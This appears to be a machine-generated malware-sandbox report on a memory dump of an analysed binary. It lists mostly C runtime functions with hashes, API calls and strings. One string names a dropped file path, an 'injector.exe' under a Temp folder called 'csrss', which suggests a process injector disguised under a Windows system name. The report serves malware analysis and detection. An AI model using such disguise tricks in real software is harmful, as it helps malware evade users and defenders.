Instruction ID: 762505c47aeeed9285288a387f67d54c9865c2bea53fc49a9816a0f5d884f20b
Opcode Fuzzy Hash: 230dbc250809a90322377d94343768eb68c9b033416a55001241a1c5e3e2d059
Instruction Fuzzy Hash: F771B222B29B8185FB00EBA5E9943ECA361EF547ACF804631DE5C17BD5DFB8E1858350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D0120, Relevance: 7.7, APIs: 5, Instructions: 158COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7019D015C
_set_statfp.LIBCMT ref: 00007FF7019D017A
_set_statfp.LIBCMT ref: 00007FF7019D01A3
_set_statfp.LIBCMT ref: 00007FF7019D035C

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: b2c59d728636b0c6554cac728b920e7f028990e3d1f05e9dc6a8eba7ec4e4899
Instruction ID: 5d917132fdce56a96afdc6162060b89c9f591ba0449fbf0a2d206dcb6c0b7be9
Opcode Fuzzy Hash: b2c59d728636b0c6554cac728b920e7f028990e3d1f05e9dc6a8eba7ec4e4899
Instruction Fuzzy Hash: C651A926D2C9C646E722BA74DC5837AD250BF4536CFC88235FA5E275D4DFBCA481C610

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019DBBC4, Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7019DBBEC
_set_statfp.LIBCMT ref: 00007FF7019DBC07
_set_statfp.LIBCMT ref: 00007FF7019DBC23
_set_statfp.LIBCMT ref: 00007FF7019DBC5F

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: eaed8dfff0f68ad8df544ac5f149add81e04ab95f19dfb156c94115c05b10cc8
Instruction ID: c898bd287eb95e61cec715b0e25ca1eabfecec7236a13746222caf6043f2ea1e
Opcode Fuzzy Hash: eaed8dfff0f68ad8df544ac5f149add81e04ab95f19dfb156c94115c05b10cc8
Instruction Fuzzy Hash: D9119022E38A9245F758317DDC6D77D90407F6637CE8A0A34EA6F072E69F9CAD408220

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019C1914, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7019C1984
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7019C19CF

Strings

RCC, xrefs: 00007FF7019C19A0
MOC, xrefs: 00007FF7019C1998

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 3b8f6f38903736f98fcdca112aa5d53be49a37cbb0ed99218ee9529973844066
Instruction ID: 369c7562fe959efddcee9549392e3dcaf2e181484e2053ee3d2c828719973094
Opcode Fuzzy Hash: 3b8f6f38903736f98fcdca112aa5d53be49a37cbb0ed99218ee9529973844066
Instruction Fuzzy Hash: 1C91CE73A28785CAE710EB65E8902ADBBA0FB0478CF54413AEE8D17759DF78D195CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019C4388, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 154COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7019C43C2
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7019C4597

Strings

*, xrefs: 00007FF7019C44C0
, xrefs: 00007FF7019C4515

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: 9e97f74fb747d070684286d516df8dd40ef65855817175db68c8e5f249a723b2
Instruction ID: f101f0404616272698b12489f93664ffeda13f05b7d4dcb0bc5ec95e3a335563
Opcode Fuzzy Hash: 9e97f74fb747d070684286d516df8dd40ef65855817175db68c8e5f249a723b2
Instruction Fuzzy Hash: 74618772B2C2D186E765AF28986407CB7A0EF15F5CFE41135D6CA07698CFA8E441DF60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019C1E88, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 149COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7019C1EB0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF7019C1F9E

Strings

csm, xrefs: 00007FF7019C1FF0
csm, xrefs: 00007FF7019C1ED2

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: cba4f8b5f87033059ccdbbbfc1978a4dfca7c68608478ea5e05f421b44258d1c
Instruction ID: c775e77ae8cfaeab779d60e95ae14372720963084c8b8593470a5b53d61f9927
Opcode Fuzzy Hash: cba4f8b5f87033059ccdbbbfc1978a4dfca7c68608478ea5e05f421b44258d1c
Instruction Fuzzy Hash: 275180329282C2C6EB74AF219944268B7A1FF50B8CF944136DA8D47BD6CFBCE450CB15

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019C16FC, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7019C1748
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7019C1797

Strings

MOC, xrefs: 00007FF7019C175C
RCC, xrefs: 00007FF7019C1765

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: b3ad751d0cb4c71745f32e3f4ee4c7ad361712d25d56141f8ce21363a664fd63
Instruction ID: de871dd828fb4bb835f68bd197b87933714da5f183701ecaaaec7a1f11843aa9
Opcode Fuzzy Hash: b3ad751d0cb4c71745f32e3f4ee4c7ad361712d25d56141f8ce21363a664fd63
Instruction Fuzzy Hash: 0F515A36A18B85CAE710EF65D8802ADB7A0FB45B8CF544235EE8D13B55CB78E185CB14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019B9160, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7019B91C9
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7019B9214
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7019B92A4

Strings

bad locale name, xrefs: 00007FF7019B92C7

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2775327233-1405518554
Opcode ID: e9dcfafce1d1b79f0454f0c7063429ff212ad751e0c1960cfd28cdf1e2b7ecd8
Instruction ID: 940ebc0c381cdb446cc1ee491de80d5fb570fbb37e308c4769f3cd07db774c64
Opcode Fuzzy Hash: e9dcfafce1d1b79f0454f0c7063429ff212ad751e0c1960cfd28cdf1e2b7ecd8
Instruction Fuzzy Hash: 2D412A22B2AA81C9FB14EFB0D8902EC73A4EF4474CF844435DB4D26A59CF78D522D364

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019B8FE0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7019B9049
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7019B9094
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7019B9124

Strings

bad locale name, xrefs: 00007FF7019B9147

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2775327233-1405518554
Opcode ID: 827cb531c25d537041628304b2b1cd442d8201b0c86c49ad65a9cdcbdbef1cee
Instruction ID: aa097eb340e663560e8a772afbd323082431024c5262f1eabf6328f648b9c5c0
Opcode Fuzzy Hash: 827cb531c25d537041628304b2b1cd442d8201b0c86c49ad65a9cdcbdbef1cee
Instruction Fuzzy Hash: 27412A22B2AA81C9EB14EFB1D9902EC62B4EF4474CF844039DB4D26A59DF78D522D364

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019B2700, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00007FF7019B27B8

Part of subcall function 00007FF7019BF4EC: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,7FFFFFFFFFFFFFFF,00007FF7019B9B0E), ref: 00007FF7019BF530
Part of subcall function 00007FF7019BF4EC: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,7FFFFFFFFFFFFFFF,00007FF7019B9B0E), ref: 00007FF7019BF576

Strings

ios_base::badbit set, xrefs: 00007FF7019B272F
ios_base::failbit set, xrefs: 00007FF7019B2640, 00007FF7019B273B
ios_base::eofbit set, xrefs: 00007FF7019B2742

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFileHeaderRaise__std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3973727643-1866435925
Opcode ID: 0646b899308f3453d400320ab1734e666a4998a245cbdc518b35f174e8f0a7bc
Instruction ID: a65f94025b99d5806105b75f9e3e8f79a83f99ea1a2a9ba2d06a2d5e9bd96c4b
Opcode Fuzzy Hash: 0646b899308f3453d400320ab1734e666a4998a245cbdc518b35f174e8f0a7bc
Instruction Fuzzy Hash: 11218122A29B8691EB04EF10EDC11A9A361EF5474CFD88131DA4D06665EFBCE595C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D1868, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7019D18CA

Strings

ios_base::failbit set, xrefs: 00007FF7019D1871

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: _invalid_parameter_noinfo
String ID: ios_base::failbit set
API String ID: 3215553584-3924258884
Opcode ID: 2fb02fa14cb39cafdb2ac7ce505cebd37662ddc51a353eb412fb7d2a2d8dbfc1
Instruction ID: f6cec13c3cf1f5268bca1ca206e3117a346cc2a1490311f747d0aa5cf60f21df
Opcode Fuzzy Hash: 2fb02fa14cb39cafdb2ac7ce505cebd37662ddc51a353eb412fb7d2a2d8dbfc1
Instruction Fuzzy Hash: 07A1A533B296C585FB20AF6498441BDA3E1AF44BACF944631DE5D17AC9EFBCD4428720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019C20C8, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 169COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7019C20F2

Strings

csm, xrefs: 00007FF7019C2117
csm, xrefs: 00007FF7019C228F

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: 1def0d11c4647c162defc29ee4d7443d642b152b28692578d685c6d7b4b99fdf
Instruction ID: 771175582028f7e62d0d2ec7c1328da79ce7a7461f585105b85b74e5d937f021
Opcode Fuzzy Hash: 1def0d11c4647c162defc29ee4d7443d642b152b28692578d685c6d7b4b99fdf
Instruction Fuzzy Hash: 6471DE365282C286DB25AB25985027DFBA1FF44F8CF948131DBCC07A85CB7CE591CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019CF4BC, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7019CF4FF

Strings

gfff, xrefs: 00007FF7019CF621
e+000, xrefs: 00007FF7019CF5A4

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: f4f137b188e5893866b64892a04e11eec720c8251b34085c1488a3329f5ed9d4
Instruction ID: 032b8a21f27cfc7fa25eb9d6210767bff64d33c2f556f97c0698aa29be8084a1
Opcode Fuzzy Hash: f4f137b188e5893866b64892a04e11eec720c8251b34085c1488a3329f5ed9d4
Instruction Fuzzy Hash: 20511662B287C546E7249F399D40369AB92EF90B94F889231D7DC47BD6CFACE444CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019B85D0, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7019B8786
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7019B8792

Strings

ios_base::failbit set, xrefs: 00007FF7019B85D5

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID: ios_base::failbit set
API String ID: 73155330-3924258884
Opcode ID: b173cbb97e25df18fb4874a723ea1798176f7d9395f438a44dd196d1cacc4d3b
Instruction ID: 7d89091c8f2f1e1fee0579e66f364d85e6adbbec648162092e1c1df195da8cc9
Opcode Fuzzy Hash: b173cbb97e25df18fb4874a723ea1798176f7d9395f438a44dd196d1cacc4d3b
Instruction Fuzzy Hash: 8B41A3627296C295EB10FB16AA842A9A355FF44BD8F940631DF6D07BC5DFBCD1418320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019C2704, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7019C27AD
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF7019C27D9

Strings

csm, xrefs: 00007FF7019C28EA

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: 1e8bdd6c694ec2b645be78f9d24aec0e2489a08d3f49d285c7cb06928bb6b1a7
Instruction ID: eb0c6dcaf0a14a858ff64414bc9f40eaa45bef6f0c26ec285e18573cade96eba
Opcode Fuzzy Hash: 1e8bdd6c694ec2b645be78f9d24aec0e2489a08d3f49d285c7cb06928bb6b1a7
Instruction Fuzzy Hash: 7351627662878186E760EB55E94436EB7A0FB89BA9F440134EBCC07B96CF7CE055CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019CB284, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7019CB2B6

Part of subcall function 00007FF7019CE5E4: HeapFree.KERNEL32(?,?,00007FF7019CD60F,00007FF7019D7DC0,?,?,?,00007FF7019D8143,?,?,0000D4AACEF2318E,00007FF7019D8688,?,?,?,00007FF7019D85BB), ref: 00007FF7019CE5FA
Part of subcall function 00007FF7019CE5E4: GetLastError.KERNEL32(?,?,00007FF7019CD60F,00007FF7019D7DC0,?,?,?,00007FF7019D8143,?,?,0000D4AACEF2318E,00007FF7019D8688,?,?,?,00007FF7019D85BB), ref: 00007FF7019CE60C

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF7019BD849), ref: 00007FF7019CB2D4

Strings

C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe, xrefs: 00007FF7019CB2C2

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe
API String ID: 3580290477-666248059
Opcode ID: d07806923a240e9b42c0af4a433109874be1beebc6025e65424fba5256e757d0
Instruction ID: 7b4f0a2e1f9a170a1ad39ac59de1c4e0bacc729a59b830420358b5e30685ee28
Opcode Fuzzy Hash: d07806923a240e9b42c0af4a433109874be1beebc6025e65424fba5256e757d0
Instruction Fuzzy Hash: 9E416F31A2969286EB14EF21AC411BDB794FF447D8BC54035EA8E47B85DF7CE441CA20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D2F54, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF7019D306B
GetLastError.KERNEL32 ref: 00007FF7019D308D

Strings

U, xrefs: 00007FF7019D3017

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: ef580d635dde8ef3720f0bf036fcd3533ab23aa0b8df9f85e9dd75b1584e7d17
Instruction ID: 9ed2a3f4da8bf9a34f480254f8488db334a858ba4d320bd62739acbaa259f54f
Opcode Fuzzy Hash: ef580d635dde8ef3720f0bf036fcd3533ab23aa0b8df9f85e9dd75b1584e7d17
Instruction Fuzzy Hash: EC41F672729A8181DB20EF25E8483BAA7A0FF88788F804131EE4D87784DF7CD501C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D1714, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7019D17A1
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7019D17FB

Strings

ios_base::failbit set, xrefs: 00007FF7019D1727

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: _invalid_parameter_noinfo
String ID: ios_base::failbit set
API String ID: 3215553584-3924258884
Opcode ID: 918c2305aea0f570d03a744ed01c0d7ddd8fad88daa9e012b788a703a79d1063
Instruction ID: f01e81671cfa1fb6ffb63cd575c9fb80278c68584afac3708bad2d307af102e6
Opcode Fuzzy Hash: 918c2305aea0f570d03a744ed01c0d7ddd8fad88daa9e012b788a703a79d1063
Instruction Fuzzy Hash: 0431E863B2C7C281F721BB119949179E260BF447A8FD14631DAAC07BE5DF7CE4518711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D52D4, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

_handle_errorf.LIBCMT ref: 00007FF7019D5446

Strings

", xrefs: 00007FF7019D53F1
powf, xrefs: 00007FF7019D543F

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: _handle_errorf
String ID: "$powf
API String ID: 2315412904-603753351
Opcode ID: d592a859933890cdd57d7dbf68ff2918b61bba60df7e98e1b2b9030277a19e82
Instruction ID: 7746e09b2225ae25bca084f60ed7ce51950290d64d4a5ebc4e1fc3d5ea8adae5
Opcode Fuzzy Hash: d592a859933890cdd57d7dbf68ff2918b61bba60df7e98e1b2b9030277a19e82
Instruction Fuzzy Hash: DF414F73928680DAE370DF22E4847AAF7A0FB9934CF511325F749029A4CFBDD5509B51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D51B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF7019D52C2

Strings

pow, xrefs: 00007FF7019D52B1
", xrefs: 00007FF7019D529B

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: _handle_error
String ID: "$pow
API String ID: 1757819995-713443511
Opcode ID: 6600cf8cc386849cdc45c6f3dac13c67aaf6601de347aff380f29c236909c0c2
Instruction ID: 9535b816e74fd184dbbbba9758f7461abeae2063fd53f5bf40c409f29ef04da2
Opcode Fuzzy Hash: 6600cf8cc386849cdc45c6f3dac13c67aaf6601de347aff380f29c236909c0c2
Instruction Fuzzy Hash: 4C313C72D2CAC586E760DF10E84476AAAB0FFDA348F211325F78A06A54CBBDD0859B10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D071C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_set_errno_from_matherr.LIBCMT ref: 00007FF7019D07C8
_set_errno_from_matherr.LIBCMT ref: 00007FF7019D07DC

Strings

exp, xrefs: 00007FF7019D0743

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: _set_errno_from_matherr
String ID: exp
API String ID: 1187470696-113136155
Opcode ID: b94ccfe877b480f055c56df4a789eadf792ebadbb8a7197ff8c307239036b53c
Instruction ID: 0d5933a77b4dcd5d9b4f02abc1c547086a5a1d26b39b2066126290b1fc9b689d
Opcode Fuzzy Hash: b94ccfe877b480f055c56df4a789eadf792ebadbb8a7197ff8c307239036b53c
Instruction Fuzzy Hash: E7212C36A28785CBE760EF28E84016AB6A0FF88704F944135F68D86B56DF7CD4018F10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D0D30, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF7019D0D69
CompareStringW.KERNEL32 ref: 00007FF7019D0DF1

Strings

CompareStringEx, xrefs: 00007FF7019D0D4C, 00007FF7019D0D5D

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

